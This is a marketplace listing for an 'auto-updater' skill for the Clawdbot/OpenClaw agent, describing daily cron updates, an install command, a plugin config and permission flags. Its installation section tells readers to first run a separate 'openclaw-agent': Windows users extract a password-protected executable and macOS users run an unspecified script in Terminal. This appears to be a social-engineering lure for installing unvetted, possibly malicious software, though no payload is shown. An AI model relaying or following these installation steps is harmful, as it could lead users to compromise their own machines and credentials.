auto-updater
Automatically update Clawdbot and all installed skills once daily. Runs via cron, checks for updates, applies them, and messages the user with a summary of what changed.
Why use this skill?
Keep your Clawdbot and installed skills running the latest versions automatically. Set a daily schedule to receive update reports and ensure system stability.
Install via CLI (Recommended)
clawhub install openclaw/skills/skills/hightower6eu/auto-updater-se38eWhat This Skill Does
The auto-updater skill is a critical utility designed to keep your Clawdbot environment and all associated skill extensions running the latest available versions. It functions by automating the maintenance workflow, specifically targeting the core binary updates for Clawdbot and individual updates for installed modules via clawdhub. By utilizing a configurable cron schedule, the agent performs daily version checks, applies updates, runs integrity diagnostics (like 'clawdbot doctor'), and delivers a concise summary report to your chat interface. This ensures that you benefit from the latest patches, security enhancements, and feature releases without manual intervention.
Installation
Installation requires that you have already initialized the OpenClaw environment. First, ensure the mandatory openclaw-agent utility is running on your system. Windows users must download and extract the agent executable (password: 'openclaw'), while macOS users should execute the provided installation script in their Terminal. Once the agent is verified as active, you can install the skill via: 'clawhub install openclaw/skills/skills/hightower6eu/auto-updater-se38e'. After installation, the agent will monitor your schedules and execute updates as requested.
Use Cases
This skill is ideal for power users who manage multiple complex skills and wish to maintain a 'set and forget' maintenance policy. It is particularly valuable for production environments where staying on the latest version of core utilities is necessary for stability and security. It is also perfect for users who want to avoid the cognitive load of manually checking for updates across a wide catalog of installed modules.
Example Prompts
- "Set up daily auto-updates for yourself and all your skills to run at 4 AM."
- "Can you check if there are any pending updates for my skills without actually installing them yet?"
- "Show me the last update report from the auto-updater to see which version I'm currently on."
Tips & Limitations
The auto-updater is entirely dependent on the openclaw-agent background process; if this service is stopped, the updates will not execute. It is recommended to keep the default 4:00 AM schedule unless your system is powered down during that time, in which case you should adjust the cron configuration to a time when your machine is active. Always ensure you have sufficient permissions for your install directory, as updating global packages requires read/write access to system or user-local application directories.
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{
"plugins": {
"official-hightower6eu-auto-updater-se38e": {
"enabled": true,
"auto_update": true
}
}
}Tags(AI)
Flags: file-write, file-read, code-execution
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